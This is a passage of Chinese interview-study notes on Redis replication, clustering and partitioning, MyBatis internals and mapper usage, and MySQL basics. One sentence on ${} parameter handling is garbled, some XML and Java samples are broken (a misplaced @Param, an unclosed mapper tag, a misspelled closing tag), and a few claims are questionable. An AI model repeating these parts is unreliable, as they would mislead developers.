同时还会将从客户端 client 新收到的所有写命令缓存在内存中。RDB 文件生成完毕后, master 会将这个 RDB 发送给 slave,slave 会先写入本地磁盘,然后再从本地磁盘加载到内存中,
接着 master 会将内存中缓存的写命令发送到 slave,slave 也会同步这些数据。
slave node 如果跟 master node 有网络故障,断开了连接,会自动重连,连接之后 master node 仅会复制给 slave 部分缺少的数据。
过程原理
当从库和主库建立MS关系后,会向主数据库发送SYNC命令
主库接收到SYNC命令后会开始在后台保存快照(RDB持久化过程),并将期间接收到的写命令缓存起来
当快照完成后,主Redis会将快照文件和所有缓存的写命令发送给从Redis
从Redis接收到后,会载入快照文件并且执行收到的缓存的命令
之后,主Redis每当接收到写命令时就会将命令发送从Redis,从而保证数据的一致
缺点
所有的slave节点数据的复制和同步都由master节点来处理,会照成master节点压力太大,使用主从从结构来解决
Redis集群的主从复制模型是怎样的?
为了使在部分节点失败或者大部分节点无法通信的情况下集群仍然可用,所以集群使用了主从复制模型,每个节点都会有N-1个复制品
生产环境中的 redis 是怎么部署的?
redis cluster,10 台机器,5 台机器部署了 redis 主实例,另外 5 台机器部署了 redis 的从实例,每个主实例挂了一个从实例,5 个节点对外提供读写服务,每个节点的读写高峰qps可能可以达到每秒 5 万,5 台机器最多是 25 万读写请求/s。
机器是什么配置?32G 内存+ 8 核 CPU + 1T 磁盘,但是分配给 redis 进程的是10g内存,一般线上生产环境,redis 的内存尽量不要超过 10g,超过 10g 可能会有问题。
5 台机器对外提供读写,一共有 50g 内存。
因为每个主实例都挂了一个从实例,所以是高可用的,任何一个主实例宕机,都会自动故障迁移,redis 从实例会自动变成主实例继续提供读写服务。
你往内存里写的是什么数据?每条数据的大小是多少?商品数据,每条数据是 10kb。100 条数据是 1mb,10 万条数据是 1g。常驻内存的是 200 万条商品数据,占用内存是 20g,仅仅不到总内存的 50%。目前高峰期每秒就是 3500 左右的请求量。
其实大型的公司,会有基础架构的 team 负责缓存集群的运维。
说说Redis哈希槽的概念?
Redis集群没有使用一致性hash,而是引入了哈希槽的概念,Redis集群有16384个哈希槽,每个key通过CRC16校验后对16384取模来决定放置哪个槽,集群的每个节点负责一部分hash槽。
Redis集群会有写操作丢失吗?为什么?
Redis并不能保证数据的强一致性,这意味这在实际中集群在特定的条件下可能会丢失写操作。
Redis集群之间是如何复制的?
异步复制
Redis集群最大节点个数是多少?
16384个
Redis集群如何选择数据库?
Redis集群目前无法做数据库选择,默认在0数据库。
分区
Redis是单线程的,如何提高多核CPU的利用率?
可以在同一个服务器部署多个Redis的实例,并把他们当作不同的服务器来使用,在某些时候,无论如何一个服务器是不够的, 所以,如果你想使用多个CPU,你可以考虑一下分片(shard)。
为什么要做Redis分区?
分区可以让Redis管理更大的内存,Redis将可以使用所有机器的内存。如果没有分区,你最多只能使用一台机器的内存。分区使Redis的计算能力通过简单地增加计算机得到成倍提升,Redis的网络带宽也会随着计算机和网卡的增加而成倍增长。
你知道有哪些Redis分区实现方案?
客户端分区就是在客户端就已经决定数据会被存储到哪个redis节点或者从哪个redis节点读取。大多数客户端已经实现了客户端分区。
代理分区 意味着客户端将请求发送给代理,然后代理决定去哪个节点写数据或者读数据。代理根据分区规则决定请求哪些Redis实例,然后根据Redis的响应结果返回给客户端。redis和memcached的一种代理实现就是Twemproxy
查询路由(Query routing) 的意思是客户端随机地请求任意一个redis实例,然后由Redis将请求转发给正确的Redis节点。Redis Cluster实现了一种混合形式的查询路由,但并不是直接将请求从一个redis节点转发到另一个redis节点,而是在客户端的帮助下直接redirected到正确的redis节点。
Redis分区有什么缺点?
涉及多个key的操作通常不会被支持。例如你不能对两个集合求交集,因为他们可能被存储到不同的Redis实例(实际上这种情况也有办法,但是不能直接使用交集指令)。
同时操作多个key,则不能使用Redis事务.
分区使用的粒度是key,不能使用一个非常长的排序key存储一个数据集(The partitioning granularity is the key, so it is not possible to shard a dataset with a single huge key like a very big sorted set)
当使用分区的时候,数据处理会非常复杂,例如为了备份你必须从不同的Redis实例和主机同时收集RDB / AOF文件。
分区时动态扩容或缩容可能非常复杂。Redis集群在运行时增加或者删除Redis节点,能做到最大程度对用户透明地数据再平衡,但其他一些客户端分区或者代理分区方法则不支持这种特性。然而,有一种预分片的技术也可以较好的解决这个问题。
分布式问题
Redis实现分布式锁
Redis为单进程单线程模式,采用队列模式将并发访问变成串行访问,且多客户端对Redis的连接并不存在竞争关系Redis中可以使用SETNX命令实现分布式锁。
当且仅当 key 不存在,将 key 的值设为 value。 若给定的 key 已经存在,则 SETNX 不做任何动作
SETNX 是『SET if Not eXists』(如果不存在,则 SET)的简写。
返回值:设置成功,返回 1 。设置失败,返回 0 。
Mybatis的一级、二级缓存
1)一级缓存: 基于 PerpetualCache 的 HashMap 本地缓存,其存储作用域为 Session,当 Session flush 或 close 之后,该 Session 中的所有 Cache 就将清空,默认打开一级缓存。
2)二级缓存与一级缓存其机制相同 , 二级缓存 默认也是采用 PerpetualCache,HashMap 存储,不同在于其存储作用域为 Mapper(Namespace),并且可自定义存储源,如 Ehcache。默认不打开二级缓存,要开启二级缓存,使用二级缓存属性类需要实现Serializable序列化接口(可用来保存对象的状态),可在它的映射文件中配置 ;
3)对于缓存数据更新机制,当某一个作用域(一级缓存 Session/二级缓存Namespaces)的进行了C/U/D 操作后,默认该作用域下所有 select 中的缓存将被 clear。
MyBatis 是一款优秀的持久层框架,一个半 ORM(对象关系映射)框架,它支持定制化 SQL、存储过程以及高级映射。MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以使用简单的 XML 或注解来配置和映射原生类型、接口和 Java 的 POJO(Plain Old Java Objects,普通老式 Java 对象)为数据库中的记录。
ORM是什么
ORM(Object Relational Mapping),对象关系映射,是一种为了解决关系型数据库数据与简单Java对象(POJO)的映射关系的技术。简单的说,ORM是通过使用描述对象和数据库之间映射的元数据,将程序中的对象自动持久化到关系型数据库中。
为什么说Mybatis是半自动ORM映射工具?它与全自动的区别在哪里?
Hibernate属于全自动ORM映射工具,使用Hibernate查询关联对象或者关联集合对象时,可以根据对象关系模型直接获取,所以它是全自动的。
而Mybatis在查询关联对象或关联集合对象时,需要手动编写sql来完成,所以,称之为半自动ORM映射工具。
传统JDBC开发存在的问题
频繁创建数据库连接对象、释放,容易造成系统资源浪费,影响系统性能。可以使用连接池解决这个问题。但是使用jdbc需要自己实现连接池。
sql语句定义、参数设置、结果集处理存在硬编码。实际项目中sql语句变化的可能性较大,一旦发生变化,需要修改java代码,系统需要重新编译,重新发布。不好维护。
使用preparedStatement向占有位符号传参数存在硬编码,因为sql语句的where条件不一定,可能多也可能少,修改sql还要修改代码,系统不易维护。
结果集处理存在重复代码,处理麻烦。如果可以映射成Java对象会比较方便。
参考文章:mybatis实现原理
1、数据库链接创建、释放频繁造成系统资源浪费从而影响系统性能,如果使用数据库连接池可解决此问题。
解决:在mybatis-config.xml中配置数据链接池,使用连接池管理数据库连接。
2、Sql语句写在代码中造成代码不易维护,实际应用sql变化的可能较大,sql变动需要改变java代码。
解决:将Sql语句配置在XXXXmapper.xml文件中与java代码分离。
3、向sql语句传参数麻烦,因为sql语句的where条件不一定,可能多也可能少,占位符需要和参数一一对应。
解决: Mybatis自动将java对象映射至sql语句。
4、对结果集解析麻烦,sql变化导致解析代码变化,且解析前需要遍历,如果能将数据库记录封装成pojo对象解析比较方便。
解决:Mybatis自动将sql执行结果映射至java对象。
与传统的数据库访问技术相比,ORM有以下优点:
都是对jdbc的封装,都是持久层的框架,都用于dao层的开发。
不同点
MyBatis 是一个半自动映射的框架,配置Java对象与sql语句执行结果的对应关系,多表关联关系配置简单
Hibernate 是一个全表映射的框架,配置Java对象与数据库表的对应关系,多表关联关系配置复杂
SQL优化和移植性
Hibernate 对SQL语句封装,提供了日志、缓存、级联(级联比 MyBatis 强大)等特性,此外还提供 HQL(Hibernate Query Language)操作数据库,数据库无关性支持好,但会多消耗性能。如果项目需要支持多种数据库,代码开发量少,但SQL语句优化困难。
MyBatis 需要手动编写 SQL,支持动态 SQL、处理列表、动态生成表名、支持存储过程。开发工作量相对大些。直接使用SQL语句操作数据库,不支持数据库无关性,但sql语句优化容易。
开发难易程度和学习成本
Hibernate 是重量级框架,学习使用门槛高,适合于需求相对稳定,中小型的项目,比如:办公自动化系统
MyBatis 是轻量级框架,学习使用门槛低,适合于需求变化频繁,大型的项目,比如:互联网电子商务系统
总结
MyBatis 是一个小巧、方便、高效、简单、直接、半自动化的持久层框架,
Hibernate 是一个强大、方便、高效、复杂、间接、全自动化的持久层框架。
MyBatis编程步骤是什么样的?
1、 创建SqlSessionFactory
2、 通过SqlSessionFactory创建SqlSession
3、 通过sqlsession执行数据库操作
4、 调用session.commit()提交事务
5、 调用session.close()关闭会话
在学习 MyBatis 程序之前,需要了解一下 MyBatis 工作原理,以便于理解程序。MyBatis 的工作原理如下图
1)读取 MyBatis 配置文件:mybatis-config.xml 为 MyBatis 的全局配置文件,配置了 MyBatis 的运行环境等信息,例如数据库连接信息。
2)加载映射文件。映射文件即 SQL 映射文件,该文件中配置了操作数据库的 SQL 语句,需要在 MyBatis 配置文件 mybatis-config.xml 中加载。mybatis-config.xml 文件可以加载多个映射文件,每个文件对应数据库中的一张表。
3)构造会话工厂:通过 MyBatis 的环境等配置信息构建会话工厂 SqlSessionFactory。
4)创建会话对象:由会话工厂创建 SqlSession 对象,该对象中包含了执行 SQL 语句的所有方法。
5)Executor 执行器:MyBatis 底层定义了一个 Executor 接口来操作数据库,它将根据 SqlSession 传递的参数动态地生成需要执行的 SQL 语句,同时负责查询缓存的维护。
6)MappedStatement 对象:在 Executor 接口的执行方法中有一个 MappedStatement 类型的参数,该参数是对映射信息的封装,用于存储要映射的 SQL 语句的 id、参数等信息。
7)输入参数映射:输入参数类型可以是 Map、List 等集合类型,也可以是基本数据类型和 POJO 类型。输入参数映射过程类似于 JDBC 对 preparedStatement 对象设置参数的过程。
8)输出结果映射:输出结果类型可以是 Map、 List 等集合类型,也可以是基本数据类型和 POJO 类型。输出结果映射过程类似于 JDBC 对结果集的解析过程。
API接口层:提供给外部使用的接口API,开发人员通过这些本地API来操纵数据库。接口层一接收到调用请求就会调用数据处理层来完成具体的数据处理。
数据处理层:负责具体的SQL查找、SQL解析、SQL执行和执行结果映射处理等。它主要的目的是根据调用的请求完成一次数据库操作。
基础支撑层:负责最基础的功能支撑,包括连接管理、事务管理、配置加载和缓存处理,这些都是共用的东西,将他们抽取出来作为最基础的组件。为上层的数据处理层提供最基础的支撑。
这张图从上往下看。MyBatis的初始化,会从mybatis-config.xml配置文件,解析构造成Configuration这个类,就是图中的红框。
(1)加载配置:配置来源于两个地方,一处是配置文件,一处是Java代码的注解,将SQL的配置信息加载成为一个个MappedStatement对象(包括了传入参数映射配置、执行的SQL语句、结果映射配置),存储在内存中。
(2)SQL解析:当API接口层接收到调用请求时,会接收到传入SQL的ID和传入对象(可以是Map、JavaBean或者基本数据类型),Mybatis会根据SQL的ID找到对应的MappedStatement,然后根据传入参数对象对MappedStatement进行解析,解析后可以得到最终要执行的SQL语句和参数。
(3)SQL执行:将最终得到的SQL和参数拿到数据库进行执行,得到操作数据库的结果。
(4)结果映射:将操作数据库的结果按照映射的配置进行转换,可以转换成HashMap、JavaBean或者基本数据类型,并将最终结果返回。
为什么需要预编译
定义:
SQL 预编译指的是数据库驱动在发送 SQL 语句和参数给 DBMS 之前对 SQL 语句进行编译,这样 DBMS 执行 SQL 时,就不需要重新编译。
为什么需要预编译
JDBC 中使用对象 PreparedStatement 来抽象预编译语句,使用预编译。预编译阶段可以优化 SQL 的执行。预编译之后的 SQL 多数情况下可以直接执行,DBMS 不需要再次编译,越复杂的SQL,编译的复杂度将越大,预编译阶段可以合并多次操作为一个操作。同时预编译语句对象可以重复利用。把一个 SQL 预编译后产生的 PreparedStatement 对象缓存下来,下次对于同一个SQL,可以直接使用这个缓存的 PreparedState 对象。Mybatis默认情况下,将对所有的 SQL 进行预编译。
Mybatis有三种基本的Executor执行器,SimpleExecutor、ReuseExecutor、BatchExecutor。
SimpleExecutor:每执行一次update或select,就开启一个Statement对象,用完立刻关闭Statement对象。
ReuseExecutor:执行update或select,以sql作为key查找Statement对象,存在就使用,不存在就创建,用完后,不关闭Statement对象,而是放置于Map
BatchExecutor:执行update(没有select,JDBC批处理不支持select),将所有sql都添加到批处理中(addBatch()),等待统一执行(executeBatch()),它缓存了多个Statement对象,每个Statement对象都是addBatch()完毕后,等待逐一执行executeBatch()批处理。与JDBC批处理相同。
作用范围:Executor的这些特点,都严格限制在SqlSession生命周期范围内。
在Mybatis配置文件中,在设置(settings)可以指定默认的ExecutorType执行器类型,也可以手动给DefaultSqlSessionFactory的创建SqlSession的方法传递ExecutorType类型参数,如SqlSession openSession(ExecutorType execType)。
配置默认的执行器。SIMPLE 就是普通的执行器;REUSE 执行器会重用预处理语句(prepared statements); BATCH 执行器将重用语句并执行批量更新。
Mybatis是否支持延迟加载?如果支持,它的实现原理是什么?
Mybatis仅支持association关联对象和collection关联集合对象的延迟加载,association指的就是一对一,collection指的就是一对多查询。在Mybatis配置文件中,可以配置是否启用延迟加载lazyLoadingEnabled=true|false。
它的原理是,使用CGLIB创建目标对象的代理对象,当调用目标方法时,进入拦截器方法,比如调用a.getB().getName(),拦截器invoke()方法发现a.getB()是null值,那么就会单独发送事先保存好的查询关联B对象的sql,把B查询上来,然后调用a.setB(b),于是a的对象b属性就有值了,接着完成a.getB().getName()方法的调用。这就是延迟加载的基本原理。
当然了,不光是Mybatis,几乎所有的包括Hibernate,支持延迟加载的原理都是一样的。
映射器
#{}是占位符,预编译处理;${}是拼接符,字符串替换,没有预编译处理。
Mybatis在处理**#{}时,#{}传入参数是以字符串传入,会将SQL中的#{}替换为?号,调用PreparedStatement**的set方法来赋值。
Mybatis在处理时 , 是 原 值 传 入 , 就 是 把 {}时,是原值传入,就是把时,是原值传入,就是把{}替换成变量的值,相当于JDBC中的Statement编译
变量替换后,#{} 对应的变量自动加上单引号 ‘’;变量替换后,${} 对应的变量不会加上单引号 ‘’
#{} 可以有效的防止SQL注入,提高系统安全性;${} 不能防止SQL 注入
#{} 的变量替换是在DBMS 中;${} 的变量替换是在 DBMS 外
模糊查询like语句该怎么写
(1)’%${question}%’ 可能引起SQL注入,不推荐
(2)“%”#{question}“%” 注意:因为#{…}解析成sql语句时候,会在变量外侧自动加单引号’ ',所以这里 % 需要使用双引号" ",不能使用单引号 ’ ',不然会查不到任何结果。
(3)CONCAT(’%’,#{question},’%’) 使用CONCAT()函数,推荐
(4)使用bind标签
<select id="listUserLikeUsername" resultType="com.jourwon.pojo.User">
<bind name="pattern" value="'%' + username + '%'" />
select id,sex,age,username,password from person where username LIKE #{pattern}
</select>
方法1:顺序传参法
public User selectUser(String name, int deptId);
<select id="selectUser" resultMap="UserResultMap">
select * from user
where user_name = #{0} and dept_id = #{1}
</select>
#{}里面的数字代表传入参数的顺序。
这种方法不建议使用,sql层表达不直观,且一旦顺序调整容易出错。
方法2:@Param注解传参法
public User selectUser(@Param("userName") String name, int @Param("deptId") deptId);
<select id="selectUser" resultMap="UserResultMap">
select * from user
where user_name = #{userName} and dept_id = #{deptId}
</select>
#{}里面的名称对应的是注解@Param括号里面修饰的名称。
这种方法在参数不多的情况还是比较直观的,推荐使用。
方法3:Map传参法
public User selectUser(Map<String, Object> params);
<select id="selectUser" parameterType="java.util.Map" resultMap="UserResultMap">
select * from user
where user_name = #{userName} and dept_id = #{deptId}
</select>
#{}里面的名称对应的是Map里面的key名称。
这种方法适合传递多个参数,且参数易变能灵活传递的情况。
方法4:Java Bean传参法
public User selectUser(User user);
<select id="selectUser" parameterType="com.jourwon.pojo.User" resultMap="UserResultMap">
select * from user
where user_name = #{userName} and dept_id = #{deptId}
</select>
#{}里面的名称对应的是User类里面的成员属性。
这种方法直观,需要建一个实体类,扩展不容易,需要加属性,但代码可读性强,业务逻辑处理方便,推荐使用。
foreach的主要用在构建in条件中,它可以在SQL语句中进行迭代一个集合。foreach标签的属性主要有item,index,collection,open,separator,close。
item 表示集合中每一个元素进行迭代时的别名,随便起的变量名;
index 指定一个名字,用于表示在迭代过程中,每次迭代到的位置,不常用;
open 表示该语句以什么开始,常用“(”;
separator表示在每次进行迭代之间以什么符号作为分隔符,常用“,”;
close 表示以什么结束,常用“)”。
在使用foreach的时候最关键的也是最容易出错的就是collection属性,该属性是必须指定的,但是在不同情况下,该属性的值是不一样的,主要有一下3种情况:
<!-- 批量保存(foreach插入多条数据两种方法)
int addEmpsBatch(@Param("emps") List<Employee> emps); -->
<!-- MySQL下批量保存,可以foreach遍历 mysql支持values(),(),()语法 --> //推荐使用
<insert id="addEmpsBatch">
INSERT INTO emp(ename,gender,email,did)
VALUES
<foreach collection="emps" item="emp" separator=",">
(#{emp.eName},#{emp.gender},#{emp.email},#{emp.dept.id})
</foreach>
</insert>
<!-- 这种方式需要数据库连接属性allowMutiQueries=true的支持
如jdbc.url=jdbc:mysql://localhost:3306/mybatis?allowMultiQueries=true -->
<insert id="addEmpsBatch">
<foreach collection="emps" item="emp" separator=";">
INSERT INTO emp(ename,gender,email,did)
VALUES(#{emp.eName},#{emp.gender},#{emp.email},#{emp.dept.id})
</foreach>
</insert>
Mybatis内置的ExecutorType有3种,默认为simple,该模式下它为每个语句的执行创建一个新的预处理语句,单条提交sql;而batch模式重复使用已经预处理的语句,并且批量执行所有更新语句,显然batch性能将更优; 但batch模式也有自己的问题,比如在Insert操作时,在事务没有提交之前,是没有办法获取到自增的id,这在某型情形下是不符合业务要求的
具体用法如下:
//批量保存方法测试
@Test
public void testBatch() throws IOException{
SqlSessionFactory sqlSessionFactory = getSqlSessionFactory();
//可以执行批量操作的sqlSession
SqlSession openSession = sqlSessionFactory.openSession(ExecutorType.BATCH);
//批量保存执行前时间
long start = System.currentTimeMillis();
try {
EmployeeMapper mapper = openSession.getMapper(EmployeeMapper.class);
for (int i = 0; i < 1000; i++) {
mapper.addEmp(new Employee(UUID.randomUUID().toString().substring(0, 5), "b", "1"));
}
openSession.commit();
long end = System.currentTimeMillis();
//批量保存执行后的时间
System.out.println("执行时长" + (end - start));
//批量 预编译sql一次==》设置参数==》10000次==》执行1次 677
//非批量 (预编译=设置参数=执行 )==》10000次 1121
} finally {
openSession.close();
}
}
mapper和mapper.xml如下
public interface EmployeeMapper {
//批量保存员工
Long addEmp(Employee employee);
}
<mapper namespace="com.jourwon.mapper.EmployeeMapper"
<!--批量保存员工 -->
<insert id="addEmp">
insert into employee(lastName,email,gender)
values(#{lastName},#{email},#{gender})
</insert>
</mapper>
对于支持主键自增的数据库(MySQL)
<insert id="insertUser" useGeneratedKeys="true" keyProperty="userId" >
insert into user(
user_name, user_password, create_time)
values(#{userName}, #{userPassword} , #{createTime, jdbcType= TIMESTAMP})
</insert>
parameterType 可以不写,Mybatis可以推断出传入的数据类型。如果想要访问主键,那么应当parameterType 应当是java实体或者Map。这样数据在插入之后 可以通过ava实体或者Map 来获取主键值。通过 getUserId获取主键
不支持主键自增的数据库(Oracle)
对于像Oracle这样的数据,没有提供主键自增的功能,而是使用序列的方式获取自增主键。
可以使用<selectKey>标签来获取主键的值,这种方式不仅适用于不提供主键自增功能的数据库,也适用于提供主键自增功能的数据库
<selectKey>一般的用法
<selectKey keyColumn="id" resultType="long" keyProperty="id" order="BEFORE">
</selectKey>
<insert id="insertUser" >
<selectKey keyColumn="id" resultType="long" keyProperty="userId" order="BEFORE">
SELECT USER_ID.nextval as id from dual
</selectKey>
insert into user(
user_id,user_name, user_password, create_time)
values(#{userId},#{userName}, #{userPassword} , #{createTime, jdbcType= TIMESTAMP})
</insert>
此时会将Oracle生成的主键值赋予userId变量。这个userId 就是USER对象的属性,这样就可以将生成的主键值返回了。如果仅仅是在insert语句中使用但是不返回,此时keyProperty=“任意自定义变量名”,resultType 可以不写。
Oracle 数据库中的值要设置为 BEFORE ,这是因为 Oracle中需要先从序列获取值,然后将值作为主键插入到数据库中。
扩展
如果Mysql 使用selectKey的方式获取主键,需要注意下面两点:
order : AFTER
获取递增主键值 :SELECT LAST_INSERT_ID()
当实体类中的属性名和表中的字段名不一样 ,怎么办
第1种: 通过在查询的SQL语句中定义字段名的别名,让字段名的别名和实体类的属性名一致。
<select id="getOrder" parameterType="int" resultType="com.jourwon.pojo.Order">
select order_id id, order_no orderno ,order_price price form orders where order_id=#{id};
</select>
第2种: 通过
来映射字段名和实体类属性名的一一对应的关系。
<select id="getOrder" parameterType="int" resultMap="orderResultMap">
select * from orders where order_id=#{id}
</select>
<resultMap type="com.jourwon.pojo.Order" id="orderResultMap">
<!–用id属性来映射主键字段–>
<id property="id" column="order_id">
<!–用result属性来映射非主键字段,property为实体类属性名,column为数据库表中的属性–>
<result property ="orderno" column ="order_no"/>
<result property="price" column="order_price" />
</reslutMap>
第一种:接口实现类继承 SqlSessionDaoSupport:使用此种方法需要编写mapper 接口,mapper 接口实现类、mapper.xml 文件。
(1)在 sqlMapConfig.xml 中配置 mapper.xml 的位置
<mappers>
<mapper resource="mapper.xml 文件的地址" />
<mapper resource="mapper.xml 文件的地址" />
</mappers>
(2)定义 mapper 接口
(3)实现类集成 SqlSessionDaoSupport
mapper 方法中可以 this.getSqlSession()进行数据增删改查。
(4)spring 配置
<bean id=" " class="mapper 接口的实现">
<property name="sqlSessionFactory"
ref="sqlSessionFactory"></property>
</bean>
第二种:使用 org.mybatis.spring.mapper.MapperFactoryBean:
(1)在 sqlMapConfig.xml 中配置 mapper.xml 的位置,如果 mapper.xml 和mappre 接口的名称相同且在同一个目录,这里可以不用配置
<mappers>
<mapper resource="mapper.xml 文件的地址" />
<mapper resource="mapper.xml 文件的地址" />
</mappers>
(2)定义 mapper 接口:
(3)mapper.xml 中的 namespace 为 mapper 接口的地址
(4)mapper 接口中的方法名和 mapper.xml 中的定义的 statement 的 id 保持一致
(5)Spring 中定义
<bean id="" class="org.mybatis.spring.mapper.MapperFactoryBean">
<property name="mapperInterface" value="mapper 接口地址" />
<property name="sqlSessionFactory" ref="sqlSessionFactory" />
</bean>
第三种:使用 mapper 扫描器:
(1)mapper.xml 文件编写:
mapper.xml 中的 namespace 为 mapper 接口的地址;
mapper 接口中的方法名和 mapper.xml 中的定义的 statement 的 id 保持一致;
如果将 mapper.xml 和 mapper 接口的名称保持一致则不用在 sqlMapConfig.xml中进行配置。
(2)定义 mapper 接口:
注意 mapper.xml 的文件名和 mapper 的接口名称保持一致,且放在同一个目录
(3)配置 mapper 扫描器:
<bean class="org.mybatis.spring.mapper.MapperScannerConfigurer">
<property name="basePackage" value="mapper 接口包地址
"></property>
<property name="sqlSessionFactoryBeanName"
value="sqlSessionFactory"/>
</bean>
(4)使用扫描器后从 spring 容器中获取 mapper 的实现对象。
什么是MyBatis的接口绑定?有哪些实现方式?
接口绑定,就是在MyBatis中任意定义接口,然后把接口里面的方法和SQL语句绑定,我们直接调用接口方法就可以,这样比起原来了SqlSession提供的方法我们可以有更加灵活的选择和设置。
通过注解绑定,就是在接口的方法上面加上 @Select、@Update等注解,里面包含Sql语句来绑定;
通过xml里面写SQL来绑定, 在这种情况下,要指定xml映射文件里面的namespace必须为接口的全路径名。当Sql语句比较简单时候,用注解绑定, 当SQL语句比较复杂时候,用xml绑定,一般用xml绑定的比较多。
1、Mapper接口方法名和mapper.xml中定义的每个sql的id相同。
2、Mapper接口方法的输入参数类型和mapper.xml中定义的每个sql 的parameterType的类型相同。
3、Mapper接口方法的输出参数类型和mapper.xml中定义的每个sql的resultType的类型相同。
4、Mapper.xml文件中的namespace即是mapper接口的类路径。
最佳实践中,通常一个Xml映射文件,都会写一个Dao接口与之对应,请问,这个Dao接口的工作原理是什么?Dao接口里的方法,参数不同时,方法能重载吗
Dao接口,就是人们常说的Mapper接口,接口的全限名,就是映射文件中的namespace的值,接口的方法名,就是映射文件中MappedStatement的id值,接口方法内的参数,就是传递给sql的参数。Mapper接口是没有实现类的,当调用接口方法时,接口全限名+方法名拼接字符串作为key值,可唯一定位一个MappedStatement,举例:com.mybatis3.mappers.StudentDao.findStudentById,可以唯一找到namespace为com.mybatis3.mappers.StudentDao下面id = findStudentById的MappedStatement。在Mybatis中,每一个、、、标签,都会被解析为一个MappedStatement对象。
Dao接口里的方法,是不能重载的,因为是全限名+方法名的保存和寻找策略。
Dao接口的工作原理是JDK动态代理,Mybatis运行时会使用JDK动态代理为Dao接口生成代理proxy对象,代理对象proxy会拦截接口方法,转而执行MappedStatement所代表的sql,然后将sql执行结果返回。
不同的Xml映射文件,如果配置了namespace,那么id可以重复;如果没有配置namespace,那么id不能重复;毕竟namespace不是必须的,只是最佳实践而已。
原因就是namespace+id是作为Map
答:Mybatis将所有Xml配置信息都封装到All-In-One重量级对象Configuration内部。在Xml映射文件中,标签会被解析为ParameterMap对象,其每个子元素会被解析为ParameterMapping对象。标签会被解析为ResultMap对象,其每个子元素会被解析为ResultMapping对象。每一个、、、标签均会被解析为MappedStatement对象,标签内的sql会被解析为BoundSql对象。
第一种是使用标签,逐一定义列名和对象属性名之间的映射关系。
第二种是使用sql列的别名功能,将列别名书写为对象属性名,比如T_NAME AS NAME,对象属性名一般是name,小写,但是列名不区分大小写,Mybatis会忽略列名大小写,智能找到与之对应对象属性名,你甚至可以写成T_NAME AS NaMe,Mybatis一样可以正常工作。
有了列名与属性名的映射关系后,Mybatis通过反射创建对象,同时使用反射给对象的属性逐一赋值并返回,那些找不到映射关系的属性,是无法完成赋值的。
还有很多其他的标签,、、、、,加上动态sql的9个标签,trim|where|set|foreach|if|choose|when|otherwise|bind等,其中为sql片段标签,通过标签引入sql片段,为不支持自增的主键生成策略标签。
虽然Mybatis解析Xml映射文件是按照顺序解析的,但是,被引用的B标签依然可以定义在任何地方,Mybatis都可以正确识别。
原理是,Mybatis解析A标签,发现A标签引用了B标签,但是B标签尚未解析到,尚不存在,此时,Mybatis会将A标签标记为未解析状态,然后继续解析余下的标签,包含B标签,待所有标签解析完毕,Mybatis会重新解析那些被标记为未解析的标签,此时再解析A标签时,B标签已经存在,A标签也就可以正常解析完成了。
有联合查询和嵌套查询。联合查询是几个表联合查询,只查询一次,通过在resultMap里面的association,collection节点配置一对一,一对多的类就可以完成
嵌套查询是先查一个表,根据这个表里面的结果的外键id,去再另外一个表里面查询数据,也是通过配置association,collection,但另外一个表的查询通过select节点配置。
Mybatis可以映射枚举类,不单可以映射枚举类,Mybatis可以映射任何对象到表的一列上。映射方式为自定义一个TypeHandler,实现TypeHandler的setParameter() 和 getResult() 接口方法。
TypeHandler有两个作用,一是完成从javaType至jdbcType的转换,二是完成jdbcType至javaType的转换,体现为setParameter() 和 getResult()两个方法,分别代表设置sql问号占位符参数和获取列查询结果。
Mybatis动态sql可以让我们在Xml映射文件内,以标签的形式编写动态sql,完成逻辑判断和动态拼接sql的功能,Mybatis提供了9种动态sql标签trim|where|set|foreach|if|choose|when|otherwise|bind。
其执行原理为,使用OGNL从sql参数对象中计算表达式的值,根据表达式的值动态拼接sql,以此来完成动态sql的功能。
Mybatis使用RowBounds对象进行分页,它是针对ResultSet结果集执行的内存分页,而非物理分页,可以在sql内直接书写带有物理分页的参数来完成物理分页功能,也可以使用分页插件来完成物理分页。
分页插件的基本原理是使用Mybatis提供的插件接口,实现自定义插件,在插件的拦截方法内拦截待执行的sql,然后重写sql,根据dialect方言,添加对应的物理分页语句和物理分页参数。
举例:select * from student,拦截sql后重写为:select t.* from (select * from student) t limit 0, 10
Mybatis仅可以编写针对ParameterHandler、ResultSetHandler、StatementHandler、Executor这4种接口的插件,Mybatis使用JDK的动态代理,为需要拦截的接口生成代理对象以实现接口方法拦截功能,每当执行这4种接口对象的方法时,就会进入拦截方法,具体就是InvocationHandler的**invoke()**方法,当然,只会拦截那些你指定需要拦截的方法。
实现Mybatis的Interceptor接口并复写**intercept()**方法,然后在给插件编写注解,指定要拦截哪一个接口的哪些方法即可,记住,别忘了在配置文件中配置你编写的插件。
1、主键一定是唯一性的索引,唯一性的索引不一定就是主键。
主键就是能够唯一标识表中某一行的属性或者是属性组,一个表只能有一个主键,但可以有多个候选索引。因为主键可以唯一标识一行记录,所以可以确保执行数据更新、删除的时候不会出现错误的。主键还经常和外键构成参照完整性约束,防止出现数据不一致。数据库管理系统对于主键自动生成唯一索引,所以主键也是一个特殊的索引。
2、一个表中可以有多个唯一索引,但是主键只能有一个。
3、主键列不允许为空值,而唯一性索引列允许空值。
4、主键也可以由多个字段组成,组成复合主键,同时主键也是唯一索引。
5、唯一索引表示索引值唯一,可以由一个或者几个字段组成,一个表可以由多个唯一索引。
为什么要使用数据库
数据保存在内存
优点: 存取速度快
缺点: 数据不能永久保存
数据保存在文件
优点: 数据永久保存
缺点:1)速度比内存操作慢,频繁的IO操作。2)查询数据不方便
数据保存在数据库
1)数据永久保存
2)使用SQL语句,查询方便效率高。
3)管理数据方便
什么是SQL?
结构化查询语言(Structured Query Language)简称SQL,是一种数据库查询语言。
作用:用于存取数据、查询、更新和管理关系数据库系统。
什么是MySQL?
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。在Java企业级开发中非常常用,因为 MySQL 是开源免费的,并且方便扩展。
事务是并发控制的基本单位,保证事务ACID的特性是事务处理的重要任务,而并发操作有可能会破坏其ACID特性。
所以事务是针对并发而言的,即 对 数据 在并发操作时保驾护航。
**原子性:Atomicity **
**原子性:**在我理解看来是,事务中各项操作,要么全部成功要么全部失败。很有江湖义气一说,同生共死。
一致性:Consistency
**一致性:**我理解的是更侧重结果,事务结束后系统状态是一致的。
隔离性:Isolation
